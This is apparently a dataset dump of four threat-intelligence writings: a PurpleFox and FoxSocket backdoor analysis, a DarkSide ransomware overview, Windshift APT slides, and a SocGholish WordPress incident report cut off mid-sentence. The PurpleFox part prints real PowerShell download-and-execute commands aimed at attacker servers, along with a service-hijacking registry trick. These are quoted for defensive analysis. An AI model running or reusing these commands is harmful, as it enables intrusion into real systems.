text
stringlengths
8
115k
# PurpleFox Adds New Backdoor That Uses WebSockets In September 2021, the Trend Micro Managed XDR (MDR) team looked into suspicious activity related to a PurpleFox operator. Our findings led us to investigate an updated PurpleFox arsenal, which included an added vulnerability (CVE-2021-1732) and optimized rootkit capabilities leveraged in their attacks. We also found a new backdoor written in .NET implanted during the intrusion, which we believe is highly associated with PurpleFox. This backdoor, which we call FoxSocket, leverages WebSockets to communicate with its command-and-control (C&C) servers, resulting in a more robust and secure means of communication compared to regular HTTP traffic. We believe that this particular threat is currently being aimed at users in the Middle East. We first encountered this threat via customers in the region. We are currently investigating if it has been found in other parts of the world. In this blog, we describe some of the observed modifications for the initial PurpleFox payloads, alongside the new implanted .NET backdoor and the C2 infrastructure serving its functionality. ## PurpleFox Capabilities and Technical Analysis ### PowerShell The activity starts with either of the following PowerShell commands being executed: ```powershell "cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp[[:]]//103.228.112.246[[:]]17881/57BC9B7E.Png');MsiMake hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png" "cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http[:]//117.187.136.141[:]13405/57BC9B7E.Png');MsiMake http[:]//117.187.136.141[:]13405/0CFA042F.Png" ``` These commands download a malicious payload from the specified URLs, which are hosted on multiple compromised servers. These servers are part of the PurpleFox botnet, with most of these located in China: **Table 1. Location of PurpleFox servers** | Country | Server count | |------------------|--------------| | China | 345 | | India | 34 | | Brazil | 29 | | United States | 26 | | Others | 113 | The fetched payload is a long script consisting of three components: 1. Tater (Hot Potato – privilege escalation) 2. PowerSploit 3. Embedded exploit bundle binary (privilege escalation) The script targets 64-bit architecture systems. It starts by checking the Windows version and applied hotfixes for the vulnerabilities it is targeting. - **Windows 7/Windows Server 2008** - CVE-2020-1054 (KB4556836, KB4556843) - CVE-2019-0808 (KB4489878, KB4489885, KB2882822) - **Windows 8/Windows Server 2012** - CVE-2019-1458 (KB4530702, KB4530730) - **Windows 10/Windows Server 2019** - CVE-2021-1732 (KB4601354, KB4601345, KB4601315, KB4601319) After selecting the appropriate vulnerability, it uses the PowerSploit module to reflectively load the embedded exploit bundle binary with the target vulnerability and an MSI command as arguments. As a failover, it uses the Tater module to launch the MSI command. The goal is to install the MSI package as an admin without any user interaction. ### MSI Package The MSI package starts by removing the following registry keys, which are old Purple Fox installations if any are present: ``` HKLM\SYSTEM\CurrentControlSet\Services\{ac00-ac10} ``` It then installs the components (dbcode21mk.log and setupact64.log) of the Purple Fox backdoor to the Windows directory. Afterward, it sets two registry values under the key “HKLM\SYSTEM\CurrentControlSet\Control\Session Manager”: - AllowProtectedRenames to 0x1 - PendingFileRenameOperations to the following: ``` \??\C:\Windows\AppPatch\Acpsens.dll \??\C:\Windows\system32\sens.dll \??\C:\Windows\AppPatch\Acpsens.dll \??\C:\Windows\system32\sens.dll \??\C:\Windows\setupact64.log \??\C:\Windows\system32\sens.dll ``` These commands move sens.dll to C:\Windows\AppPatch\Acpsens.dll and replace it with the installed file setupact64.log. The MSI package then runs a .vbs script that creates a Windows firewall rule to block incoming connections on ports 135, 139, and 445. As a final step, the system is restarted to allow PendingFileRenameOperations to take place, replacing sens.dll, which will make the malware run as the System Event Notification Service (SENS). ### PurpleFox Backdoor The installed malware is a .dll file protected with VMProtect. Using the other data file installed by the MSI package, it unpacks and manually loads different DLLs for its functionality. It also has a rootkit driver that is unpacked from the data file and is used to hide its files, registry keys, and processes. The sample starts by copying itself to another file and installing a new service, then restoring the original sens.dll file. Afterward, it loads the driver to hide its files and registries and then spawns and injects a sequence of a 32-bit process to inject its code modules into, as they are 32-bit DLLs. ### WebSocket Backdoor #### Initial Delivery The initial activity for retrieving this backdoor was captured three days after the previous PurpleFox intrusion attempts on the same compromised server. The Trend Micro Vision One™ platform flagged the following suspicious PowerShell commands: ```powershell "cmd.exe" /c powershell -c "iex((new-object Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/1'))" "cmd.exe" /c powershell -c "iex((new-object Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/2'))" "cmd.exe" /c powershell -c "iex((new-object Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/3'))" "cmd.exe" /c powershell -c "iex((new-object Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/4'))" "cmd.exe" /c powershell -c "iex((new-object Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/5'))" "cmd.exe" /c powershell -c "iex((new-object Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/8'))" "cmd.exe" /c powershell -c "iex((new-object Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/9'))" ``` We analyzed the payload hosted on the URLs, which were variations of 185[.]112.144.245/a/[1-9], and all were found to be serving two variants of another PowerShell script that acts as the main downloader for the .NET backdoor. The difference between the two observed PowerShell scripts were in Base64-encoded data that was passed as an argument to the .NET sample downloaded from 185[.]112[.]144[.]45/a/data and finally invoked with this configuration parameter. We found two different configuration parameters used: We observed the first one on August 26 and the second one with more domains embedded on August 30. The decoded Base64-encoded configuration parameters are shown in the following figures: These configuration parameters will be used by the .NET initialization routines to pick a C&C server and initialize cryptographic functions for the C&C channel. Aside from the configuration, the payload itself is retrieved from 185.112.144[.]45/a/data. We also found some old variants that date back to June 22 that have fewer capabilities than the more recent variants. During the earliest iterations for deploying this backdoor, aligning with the creation data of the malicious domain advb9fyxlf2v[.]com, the configuration parameters had a minimal number of subdomains to contact the C&C servers compared to the recent one. ### .NET Backdoor Obfuscation Let us start the analysis with the backdoor dropped on the SQL server. When decompiled, it will output some obfuscated symbols, although most of these can’t be restored to the original. Merely making them to be human-readable is sufficient for basic static analysis. Sometimes, some of the original names can be restored. One notable characteristic we rarely see in malware is leveraging WebSocket communication to the C&C servers for an efficient bidirectional channel between the infected client and the server. WebSocket is a communication technology that supports streams of data to be exchanged between a client and a server over just a single TCP session. This is different from traditional request or response protocols like HTTP. This gives the threat actor a more covert alternative to HTTP requests and responses traffic, which creates an opportunity for a more silent exfiltration with less likelihood of being detected. It initializes a WebSocket communication with its C&C server and keeps it open by sending keepalive messages to maintain the TCP connection. Once this is established, a series of bidirectional messages will be exchanged between the infected machine and the selected C&C server to negotiate a session encryption key. ### Key Negotiations The first key exchange with the C&C server is carried out by the onOpen callback registered function. It initializes the EC DH object with some parameters to start the shared secret key negotiation. The ECDiffieHellmanKeyDerivationFunction property is then set to Hash. This property is for specifying the key derivation function that the ECDiffieHellmanCng class will use to convert secret agreements into key material, so a hash algorithm is used to generate key material (instead of HMAC or TLS). Afterward, the client will try to send the property PublicKey, which will be used at the C&C side on another ECDiffieHellmanCng object to generate a shared secret agreement. Eventually, this data will be sent on the WebSocket as the first key exchange message. However, instead of sending it in cleartext, the client deploys a symmetric AES encryption for any communication over the WebSocket for the first exchange, as no shared secret is established yet, and the AES encryption will generate a default key for this first exchange. This will result in the key negotiation message being encrypted with AES using the shown parameters and a dummy key generated (111….11)[32] named byte_0 in the following debugging session with the actual AES cipher text with a fixed length of 176 bytes. The 176 encrypted bytes are the actual data that will be sent over the WebSocket, which marks the end of the first key exchange message. #### Second Exchange (C&C to Victim) The second key exchange message is sent from the server to the client that will be handled by the onReceive function. The execution is invoked by the message handler. This AES-encrypted second exchange has a fixed length of 304 bytes. It then checks if this incoming message is related to the control plane key establishment or just a normal data command. If it is related to the former, the first step is to decrypt the symmetric encryption on the C2 channel then finalize the shared secret generation by handing the execution to ECDH derivation function method_7. The client will verify the signed message by loading the RSA public key loaded from the configuration payload shown in the previous section. If the signature is verified correctly, key material will be derived from the DH exchange and will be saved as the permanent symmetric AES encryption key (Symmetric_AES_key variable) that will be used as long as the WebSocket channel is active. #### Third Exchange (Victim to C&C) Once an efficient encrypted session is established over the WebSocket, the client will fingerprint the machine by extracting specific data (including the username, machine name, local IP, MAC address, and Windows version) and will relay such data over the secure channel to get the victim profiled at the server side, which is the final exchange before the WebSocket channel is fully established. It will then listen for further commands. As the fingerprinting data collected will be different from one execution environment to another, this message will vary in length. From our lab analysis, it was 240 bytes with the newly generated shared secret key. As far as the WebSocket is maintained with the keepalive messages shown earlier, the operators can signal any command to be executed, so what happens next mainly depends on the targeting and the actual motivation of the operator. ### WebSocket Commands In this section, we cover some of the observed commands sent from the server. There are some minor differences between variants across them with regard to the command numbers and the supported functionality. **Table 2. List of commands** | Command code | Functionality | |--------------|---------------| | 20 | Sends the current date on the victim machine | | 30 | Leaks DriveInfo.GetDrives() results info for all the drives | | 40 | Leaks DirectoryInfo() results info for a specific directory | | 50 | FileInfo() results info for a specific file | | 60 | Recursive directory search | | 70 | Executes WMI queries - ManagementObjectSearcher() | | 80 | Closes the WebSocket Session | | 90 | Exits the process | | 100 | Spawns a new process | | 110 | Downloads more data from a specific URL to the victim machine | | 120 | DNS lookup from the victim machine | | 130 | Leaks specific file contents from the victim machine | | 140 | Writes new content to a specific location | | 150 | Downloads data then write to a specific file | | 160 | Renegotiates session key for symmetric encryption | | 180 | Gets current process ID/Name | | 210 | Returns the configuration parameter for the backdoor | | 220 | Kills the process then start the new process with a different config | | 230 | Kills specific process with PID | | 240 | Queries internal backdoor object properties | | 260 | Leaks hashes of some specific files requested | | 270 | Kills list of PIDs | | 280 | Deletes list of files/directories requested | | 290 | Moves list of files/directories to another location | | 300 | Creates new directory to a specific location | ### WebSocket C&C Infrastructure At the time of this writing, there were several active C&C servers controlling the WebSocket clients. By profiling the infected targets and interacting through different commands sent, we listed the observed IP addresses and the registered domains found in the PowerShell downloaders and the backdoor configuration parameters. **Table 3. WebSocket C&C servers** | IP address | Description | ASN | Notable activity | |--------------------|--------------------------------------|---------------------------|--------------------------------------| | 185.112.144.245 | (Hosting PS payloads, /a/[1-9]) | AS 44925 (1984 ehf) | Iraq, Saudi Arabia, Turkey, UAE | | 185.112.147.50 | C&C server | | Turkey, US, UAE | | 185.112.144.101 | Turkey | | | | 93.95.226.157 | US | | | | 93.95.228.163 | US | | | | 93.95.227.183 | - | | | | 93.95.227.169 | UAE | | | | 93.95.227.179 | - | | | | 185.112.146.72 | Potential C&C server | | | | 185.112.146.83 | - | | | The backdoor picks one subdomain randomly from the configuration data and tries to connect via WebSockets. If it fails to connect on port 12345, it will try to resolve another subdomain. ### Conclusion The rootkit capabilities of PurpleFox make it more capable of carrying out its objectives in a stealthier manner. They allow PurpleFox to persist on affected systems as well as deliver further payloads to affected systems. We are still monitoring these new variants and their dropped payloads. The new .NET WebSocket backdoor (called FoxSocket, which we detect as Backdoor.MSIL.PURPLEFOX.AA) is being closely monitored to discover any more information about this threat actor’s intentions and objectives. ### Trend Micro Solutions and Indicators of Compromise The capabilities of the Trend Micro Vision One platform made both the detection of this attack and our investigation into it possible. We took into account metrics from the network and endpoints that would indicate potential attempts of exploitation. The Trend Micro Vision One Workbench shows a holistic view of the activities that are observed in a user’s environment by highlighting important attributes related to the attack. Trend Micro Managed XDR offers expert threat monitoring, correlation, and analysis from experienced cybersecurity industry veterans, providing 24/7 service that allows organizations to have one single source of detection, analysis, and response. This service is enhanced by solutions that combine AI and Trend Micro’s wealth of global threat intelligence.
# What We Know About the DarkSide Ransomware and the US Pipeline Attack Updated May 17, 2021, 3:25 a.m. Eastern Time: This article has been updated to add references to the DarkSide victim data. On May 7, a ransomware attack forced Colonial Pipeline, a company responsible for nearly half the fuel supply for the US East Coast, to proactively shut down operations. Stores of gasoline, diesel, home heating oil, jet fuel, and military supplies had been so heavily affected that the Federal Motor Carrier Safety Administration (FMCSA) declared a state of emergency in 18 states to help with the shortages. It has been five days since the shutdown prompted by the attack, but Colonial Pipeline is still unable to resume full operations. Outages have already started affecting motorists. In metro Atlanta, 30% of gas stations are without gasoline, and other cities are reporting similar numbers. To keep supplies intact for essential services, the US government has issued advisories against hoarding. The FBI has confirmed that DarkSide, a cybercriminal group believed to have originated in Eastern Europe, is behind the attack. The ransomware used by the group is a relatively new family that was first spotted in August 2020, but the group draws on experience from previous financially successful cybercrime enterprises. Apart from locking Colonial Pipeline’s computer systems, DarkSide also stole over 100 GB of corporate data. This data theft is all the more relevant in light of the fact that the group has a history of doubly extorting its victims — not only asking for money to unlock the affected computers and demanding payment for the captured data, but also threatening to leak the stolen data if the victims do not pay. As we will cover later, DarkSide shows a level of innovation that sets it apart from its competition, being one of the first to offer what we call “quadruple extortion services.” The group announced on May 12 that it had three more victims: a construction company based in Scotland, a renewable energy product reseller in Brazil, and a technology services reseller in the US. The DarkSide actors claimed to have stolen a total of 1.9 GB of data from these companies, including sensitive information such as client data, financial data, employee passports, and contracts. Since DarkSide is a ransomware-as-a-service (RaaS), it is possible that three different affiliate groups are behind these three attacks. Even the DarkSide actors themselves admit that they just buy access to company networks — they have no idea how access was acquired. Trend Micro Research found dozens of DarkSide ransomware samples in the wild and investigated how the ransomware group operates and what organizations it typically targets. ## The DarkSide Ransomware DarkSide offers its RaaS to affiliates for a percentage of the profits. The group presents a prime example of modern ransomware, operating with a more advanced business model. Modern ransomware identifies high-value targets and involves more precise monetization of compromised assets (with double extortion as an example). Modern ransomware attacks are also typically done by several groups who collaborate and split profits. These attacks may look more like advanced persistent threat (APT) attacks than traditional ransomware events. Here is a short timeline of DarkSide activity compiled from publicly available reports: - **August 2020**: DarkSide introduces its ransomware. - **October 2020**: DarkSide donates US$20,000 stolen from victims to charity. - **November 2020**: DarkSide establishes its RaaS model. The group invites other criminals to use its service. A DarkSide data leak site is later discovered. - **November 2020**: DarkSide launches its content delivery network (CDN) for storing and delivering compromised data. - **December 2020**: A DarkSide actor invites media outlets and data recovery organizations to follow the group’s press center on the public leak site. - **March 2021**: DarkSide releases version 2.0 of its ransomware with several updates. - **May 2021**: DarkSide launches the Colonial Pipeline attack. After the attack, DarkSide announces it is apolitical and will start vetting its targets (possibly to avoid raising attention to future attacks). ### Initial Access In our analysis of DarkSide samples, we saw that phishing, remote desktop protocol (RDP) abuse, and exploiting known vulnerabilities are the tactics used by the group to gain initial access. The group also uses common, legitimate tools throughout the attack process to remain undetected and obfuscate its attack. Throughout the reconnaissance and gaining-entry phases, we saw these legitimate tools used for specific purposes: - PowerShell: for reconnaissance and persistence - Metasploit Framework: for reconnaissance - Mimikatz: for reconnaissance - BloodHound: for reconnaissance - Cobalt Strike: for installation For modern ransomware like DarkSide, gaining initial access no longer immediately leads to ransomware being dropped. There are now several steps in between that are manually executed by an attacker. ### Lateral Movement and Privilege Escalation Lateral movement is a key discovery phase in the modern ransomware process. In general, the goal is to identify all critical data within the victim organization, including the target files and locations for the upcoming exfiltration and encryption steps. In the case of DarkSide, we confirmed reports that the goal of lateral movement is to gain Domain Controller (DC) or Active Directory access, which will be used to steal credentials, escalate privileges, and acquire other valuable assets for data exfiltration. The group then continues its lateral movement through the system, eventually using the DC network share to deploy the ransomware to connected machines. Some of the known lateral movement methods deployed by DarkSide use PSExec and RDP. But as we previously noted, a modern ransomware group behaves with methods more commonly associated with APT groups — it adapts its tooling and methods to the victim’s network defenses. ### Exfiltration As is common practice with double extortion ransomware, critical files are exfiltrated prior to the ransomware being launched. This is the riskiest step so far in the ransomware execution process, as data exfiltration is more likely to be noticed by the victim organization’s security team. It is the last step before the ransomware is dropped, and the attack often speeds up at this point to complete the process before it is stopped. For exfiltration, we saw the following tools being used: - 7-Zip: a utility used for archiving files in preparation for exfiltration - Rclone and Mega client: tools used for exfiltrating files to cloud storage - PuTTy: an alternative application used for network file transfer DarkSide uses several Tor-based leak sites to host stolen data. The file-sharing services used by the group for data exfiltration include Mega and PrivatLab. ### Execution and Impact The execution of the actual ransomware occurs next. The DarkSide ransomware shares many similarities with REvil in this step of the process, including the structure of ransom notes and the use of PowerShell to execute a command that deletes shadow copies from the network. It also uses the same code to check that the victim is not located in a Commonwealth of Independent States (CIS) country. In addition to PowerShell, which is used to install and operate the malware itself, the group reportedly uses Certutil and Bitsadmin to download the ransomware. It uses two encryption methods, depending on whether the target operating system is Windows or Linux: A ChaCha20 stream cipher with RSA-4096 is used on Linux, and Salsa20 with RSA-1024 is used on Windows. ### Conclusion Ransomware is an old but persistently evolving threat. As demonstrated by the recent activities of DarkSide, modern ransomware has changed in many aspects: bigger targets, more advanced extortion techniques, and farther-reaching consequences beyond the victims themselves. Ransomware actors are no longer content with simply locking companies out of their computers and asking for ransom. Now they are digging deeper into their victims’ networks and looking for new ways to monetize their activities. For example, a compromised cloud server can go through a complete attack life cycle, from the initial compromise to data exfiltration to resale or use for further monetization. Compromised enterprise assets are a lucrative commodity on underground markets; cybercriminals are well aware of how to make money from attacking company servers. In the Colonial Pipeline attack, DarkSide used double extortion. But some ransomware actors have gone even further. Jon Clay, Director of Global Threat Communications at Trend Micro, outlines the phases of ransomware: - **Phase 1**: Just ransomware. Encrypt the files, drop the ransom note, and wait for the payment. - **Phase 2**: Double extortion. Phase 1 + data exfiltration and threatening data release. Maze was one of the first documented cases of this. - **Phase 3**: Triple extortion. Phase 1 + Phase 2 + threatening DDoS. SunCrypt, RagnarLocker, and Avaddon were among the first groups documented doing this. - **Phase 4**: Quadruple extortion. Phase 1 (+ possibly Phase 2 or Phase 3) + directly emailing the victim’s customer base or having contracted call centers contact customers. In fact, as detailed in security reports, DarkSide offers both the DDoS and call center options. The group is making quadruple extortion available to its affiliates and showing a clear sign of innovation. In cybercrime, there are no copyright or patent laws for tools and techniques. Innovation is as much about quickly and completely copying others’ best practices as it is about coming up with new approaches. Ransomware will only continue to evolve. Organizations therefore need to take the time to put in place an incident response plan focused on the new model of ransomware attacks. Unfortunately, some organizations may be putting cybersecurity on the back burner. For example, some security experts noted that Colonial Pipeline was using a previously exploited vulnerable version of Microsoft Exchange, among other cybersecurity lapses. A successful attack on a company providing critical services will have rippling effects that will harm multiple sectors of society, which is why protecting these services should be a top priority. In a US Senate hearing on cybersecurity threats, Senator Rob Portman of Ohio described the strike on Colonial Pipeline as “potentially the most substantial and damaging attack on US critical infrastructure ever.” This attack is a call to action for all organizations to harden their networks against attacks and improve their network visibility. Trend Micro has a multilayered cybersecurity platform that can help improve your organization’s detection and response against the latest ransomware attacks and improve your organization’s visibility. It is interesting to note that DarkSide’s ransom note is similar to that of Babuk, which might indicate that these two families share a link. ### DarkSide Ransomware Targets Based on the group’s Tor leak sites, DarkSide determines whether to pursue targeting a potential victim organization by primarily looking at that organization’s financial records. It also uses this information to determine the amount of ransom to demand, with a typical ransom demand amounting to anywhere between US$200,000 and US$2 million. Reports say that, based on the leak sites, there are at least 90 victims affected by DarkSide. In total, more than 2 TB of stolen data is currently being hosted on DarkSide sites, and 100% of victims’ stolen files are leaked. The actors behind DarkSide have stated that they avoid targeting companies in certain industries, including healthcare, education, the public sector, and the nonprofit sector. Organizations in manufacturing, finance, and critical infrastructure have been identified in Trend Micro data as targets. Based on Trend Micro data, the US is by far DarkSide’s most targeted country, at more than 500 detections, followed by France, Belgium, and Canada. As previously mentioned, DarkSide avoids victimizing companies in CIS countries. Part of the ransomware execution code checks for the geolocation of potential victims to avoid companies in these countries, although the group would likely be aware of the location of a target organization long before the ransomware is executed. That the group admittedly spares companies in CIS countries could be a clue to where DarkSide actors are residing. It is possible that they do this to avoid law enforcement action from these countries, since the governments of some of these countries do not persecute criminal acts such as DarkSide’s if they are done on foreign targets. After the Colonial Pipeline attack, DarkSide released a statement on one of its leak sites clarifying that the group did not wish to create problems for society and that its goal was simply to make money. There is no way to verify this statement, but we know that the group is still quite active. As previously mentioned, DarkSide actors announced that they had stolen data from three more victims since the Colonial Pipeline attack. ### MITRE ATT&CK Tactics and Techniques The following are the MITRE ATT&CK tactics and techniques associated with DarkSide.
# IN THE TRAILS OF WINDSHIFT APT **Taha K. – Head of Malware Research Labs, Dark Matter LLC** ## A Little Bit About Me - Malware RE for the last decade - Areas of interests: - Tracking APTs and reversing their tools and MOs - Cyber crime investigations involving credit card fraud and bank cyber heists - My background: I worked at FireEye Labs and Symantec as Senior Malware Reverse Engineer - Currently, I work for Dark Matter LLC as Head of Malware Research Labs - MSCS and MBA from l’Ecole pour l’informatique et les techniques avancees, Paris - France ## APT Myths and Definitions - **Does APT always mean Advanced?** - Case scenario: A target using unpatched Windows XP with no AV. - A very advanced toolset would be an overkill and comes with unnecessary toolset exposure, whilst a simple toolset will get the job done most of the time. - Modern APTs re-use available tools, think copy-cat, evading attribution. - Simplicity always wins over complexity, especially when time frames are short and/or budgets are limited. - **How to measure an advanced APT?** - Exfiltration - Evasion - Countermeasures - Success - Intel - Reach - Stealth - Effectiveness - Noise - Predictability - OPSEC - Detection - Persistence - Uniqueness - Adaptability - Public and most known “Middle-East” APTs, based on public feeds: - GREENBUG - OILRIG - MUDDYWATER - APT 33 - APT 34 - Most of them rely on open-source tools: - Empire, Metasploit, Mimikatz, invoke-obfuscation, PsExec… - Minor customization: strings replacements, code refactoring, etc. - Sometimes relying on and re-using low commodity malware: - RATs: NANOCORE, NETWIRE, njRAT, etc. - Or build copy-pasta Android malware. - Usually copy-cat actors, unless some of them developed custom basic hack tools: - POWERSTATS, ISMAGENT, MICROSPIA, etc. - Then they unlock the glorifying life-time “APT” attribution. - **Example of OilRig custom x64 Mimikatz:** - Original Mimikatz x64 version has 1779 functions in total - OilRig modified Mimikatz has only 660 functions in total - Based on Mimikatz version 0.1 - Have all the strings changed ## Why and How Windsift APT is Different? - It’s a long-term non-attributable APT. - Pure Intelligence and Cyber espionage actor -> mostly active surveillance - It’s been there for a while and never got popped. - Versatile, sophisticated, and unpredictable spear phishing attacks - They re-use your favorite APT malware (and infrastructures): - aka hacking other APT actors - Very rarely directly engage targets with malware: - 2 attempts in 2017, very specific individuals. - 3 attempts in 2018, again very specific individuals. - They are ONLY after specific individuals. Rarely target corporate environments. This has helped them stay under the radar for years. ## Windsift APT – Modus Operandi (MO) - **Phase 1: RECON – phase 1 duration 1-2 years** - Via maintained fake personas on different social platforms: - LinkedIn, Facebook, Twitter, Instagram, Google Plus. - Sending friend requests, engaging in conversation, to get identifiable information, emails, phone numbers, friends contacts. - Through social media mobile apps: - Example of such apps, phonebooks, stealing contact list, emails, and SMS contents. - **Phase 2: RECON – phase 2 duration 6 months – 1 year** - Long-term monitoring of targets via benign emails: - Click habits, subjects of interests - Geo-locating targets + type of computer target uses (via User-Agent) - Email click rate - Usage of mailing lists, sending daily emails: duplicating content of local media - Building a sort of content habit and relationship with the target over time, increasing click rates, preparing the targets for the next phases. - **Phase 3: Credential harvesting, duration 1 day** - Sending emails mimicking legit password recovery or password reset of following providers: - Targeting personal emails: Gmail, Apple iCloud, Etisalat (main ISP in UAE) - Targeting professional emails: OWA Outlook - Send SMS redirecting to a credential harvesting page. - Domain typo squatting. - Domains resolve only 1 day during the attack then shutdown. - Anonymous domains registered with freenom.com for free: .ml, .tk, .ga, .gq. - Also domains registered with Internet BS, Namecheap, with Whois Privacy Guard. - Credential harvesting landing pages are using HTTPS: free SSL certificates with Let’s Encrypt, or COMODO Free SSL. - **Phase 4: Hacking targets, 1 or twice per year** - This phase usually happens if Phase 3 was unsuccessful after many attempts. It is the last resort phase. - Infection vector: Emails (related to previous interaction emails of phase 2) having a link to a drive-by download delivering malware or emails having a direct malware attachment, usually within an archive. - Weaponize and re-use malware from different threat actors. - Re-use command and control infrastructure from other groups. - Real separation between spear phishing infrastructure and malware C2 infrastructure, to avoid attribution, suspicions, and takedowns. - **Phase 5: Disappear** - Shutting the domain names and all related information for months. - Switching to other spear phishing infrastructures. - Continuously getting more access to new infrastructures: - Hacking - Renting infrastructures - Purchasing new access from VPS resellers (bitcoin), bulletproof hosting providers. - Repointing domains to new infrastructures. - Getting access to more malware, and more C2 infrastructures and maintain the access until flagged. ## Windsift APT – Toolset - Current Toolset by chronological order, mostly cyber espionage tools, still under ongoing development: - **WINDTAIL.A**: macOS, Jan - 2017, Backdoor exfiltrating files - **WINDTAIL.B**: macOS, Jan - 2018, Downloader of WINDTAPE - **WINDTAIL.C**: macOS, Jan - 2018, Variant of WINDTAIL.B - **WINDTAPE**: macOS, Jan - 2018, Backdoor taking screenshots - **WINDDROP**: Windows, May - 2018, Downloader of an unconfirmed unknown malware - **WINDTAIL.A**: Signed macOS backdoor exfiltrating files having the following extensions: .txt, .pdf, .doc, .docx, .ppt, .pptx, .db, .rtf, .xls, .xlsx. Persists via LoginItems. Strings encrypted with AES-256-ECB and encoded with Base64. AES key hardcoded in the sample. - **WINDTAIL.B**: First apparition in January 2018. Infection vector is with direct email attachments. Weaponized with AES-256-ECB. Full rewrite of WINDTAIL.A (appeared exactly one year later after WINDTAIL.A). Additionally downloads and executes WINDTAPE. - **WINDTAPE**: First apparition in January 2018. Main purpose: - Taking a screenshot of the current desktop - Sending the screenshot to the C2 - Removing the screenshot - Repeat every 5 seconds - **WINDDROP**: A Windows dropper, first appeared in May 2018, found by pivoting over the C2 through an online malware repository. This sample shares the same C&C server with the other macOS backdoors. It starts by sending information about the infected hosts. ## Attribution, Who’s Behind Windsift APT? - An advanced APT hacked into Appin servers or purchased their source code: - An APT hacked into Operation Hangover and got access to “KitM” and “Hack Back” malware source code. - Since no activity was recorded between 2012 and 2017, moreover Appin was shutdown during that time. - Suddenly variants of malware appeared in 2017 all signed with developer IDs having emails very similar to BAHAMUT APT MOs. ## Conclusions - Appin Security was highly likely either targeted by an advanced APT group or tools stolen by a rogue employee or tools (malware, servers access) were sold to a third party. - Fact 1: Appin Security previously reported tools and infrastructures are today re-used to covertly hack into governments. - Fact 2: We found overlaps with known existing APT actors: - MOs (including: Domain registration, phishing emails and SMSs): BAHAMUT APT, Fancy Bear - Infrastructure used: BAHAMUT APT, Fancy Bear - Malware coding practices similarities: SOFACY - VPS providers: SOFACY, Fancy Bear, CARBANAK, DARK HOTEL, MORPHO, BAHAMUT - Passive DNS data: overlap with BAHAMUT, SOFACY - Fact 3: WINDSHIFT APT are currently targeting government using Appin Security tools.
# Incident Report: Spotting SocGholish WordPress Injection **July 22, 2021** **Security operations** **5 min read** **by Kyle Pellett, Tyler Fornes, and Evan Reichard** Earlier this week, our SOC stopped a ransomware attack at a large software and staffing company. The attackers compromised the company’s WordPress CMS and used the SocGholish framework to trigger a drive-by download of a Remote Access Tool (RAT) disguised as a Google Chrome update. In total, four hosts downloaded a malicious Zipped JScript file that was configured to deploy a RAT, but we were able to stop the attack before ransomware deployment and help the organization remediate its WordPress CMS. We’ll walk you through what happened, how we caught it, and provide recommendations on how to secure your WordPress CMS. We also hope that this story is a good reminder of the power of asking the right investigative questions. ## How We Spotted Our Initial Lead Around 07:00 UTC (that’s 3:00 am ET), our SOC received an EDR alert for suspicious Windows Script Host (WSH) activity on one Windows 10 host. The TL;DR is an employee double-clicked a Zipped JScript file named “Chrome.Update.js” and EDR blocked execution. Here’s what we were able to infer from our initial lead into the activity: - This doesn’t look like legitimate Google Chrome update activity. - Possible “fake update” activity delivered via Zipped JScript file. - The activity is only on this host, not prevalent, and unlikely to be a false positive. - The WSH process spawned from Windows Explorer, suggesting the employee double-clicked the JScript file versus part of an exploit-chain. ### Initial Lead: Suspicious WSH Process Activity As part of our alert triage process, we did a quick check to make sure we weren’t seeing the WSH activity anywhere else in the environment. We weren’t. And EDR blocked the activity. Case closed? Nope. The quality of your SOC investigations is rooted in the questions you ask. There are two very important questions we needed to answer before calling it “case closed”: 1. What does the JScript file do? 2. How did the Zipped JScript file get there? To figure out what the JScript file does, we grabbed a copy of the Zipped JScript file and submitted it to our internal sandbox (we use VMRay at Expel). The JScript file did the following at runtime: - Contacted command-and-control servers hosted at [.]services[.]accountabilitypartner[.]com (195.189.96.41) and [.]drpease[.]com. - Opened an HTTP POST request for /pixel.png on TCP port 443. - Delivery mechanism consistent with potential SocGholish framework activity. Given this info, it’s our opinion that “/pixel.png” is likely a second stage payload. We were unable to acquire a copy of “/pixel.png” for further analysis, but bottom line: it’s bad. Now we needed to figure out how the Zipped JScript file got there. This is where the story gets interesting. ## How We Investigated the SocGholish WordPress Injection We needed to know how the Zipped JScript file got onto the host computer. It would’ve been easy to assume, “Okay, the Zipped JScript file was likely delivered via phishing and EDR is blocking the activity, so we’ll block the C2 and move on.” “Not so fast, my friend.” – Lee Corso Using EDR live response features, we acquired a copy of the employee’s Google Chrome browser history as it could potentially contain evidence we needed to determine how the Zipped JScript file got there. The host in question is a Windows machine, so we grabbed a copy of `C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\History` and reviewed it using internal tools. You can parse the History .db files using SQLite as well. Sure enough, Google Chrome history recorded that “Chrome.Update.js” was downloaded after visiting a URL hosted on the company’s WordPress CMS. The company’s WordPress CMS was likely compromised, resulting in delivery of “fake updates” that deploy the SocGholish RAT. The company’s WordPress CMS is publicly accessible, so anyone visiting the site could potentially be compromised. At this point in our investigation, we declared a critical incident, notified our customer, and in parallel escalated our on-call procedure to bring in additional cavalry to aid in the investigation. ## Our Response and Remediation Efforts Google Chrome history contained evidence to suggest that the malicious Zipped JScript file was downloaded after visiting a webpage on the company’s WordPress site. We let our customer know that there was evidence to suggest their WordPress site was compromised and to invoke their internal Incident Response plan. We also armed the customer with information about command-and-control servers and advised them to implement blocks. Adding to the excitement, as the late night hours turned into early morning hours on the East Coast, our SOC started to receive additional EDR alerts for deployment of the malicious Zipped JScript on additional Windows 10 hosts. EDR blocked that activity as well, but we needed to get a handle on the WordPress situation quickly. Anytime we’d see a download of the Zipped JScript on a new host, we’d repeat our process to establish how the file got there. In each case, the Zipped JScript file was downloaded after visiting the company’s WordPress site. But it turned out that multiple pages on the site were compromised, not just one. This context was super important. For situational awareness, we did a quick check and noticed the company was running an older version of WordPress, 5.5.3. We didn’t have endpoint visibility into the WordPress server as it was hosted by a third party. If we did, we would have wanted to establish when and how the site was compromised. We inferred that the attacker likely exploited a vulnerability in a WordPress plugin 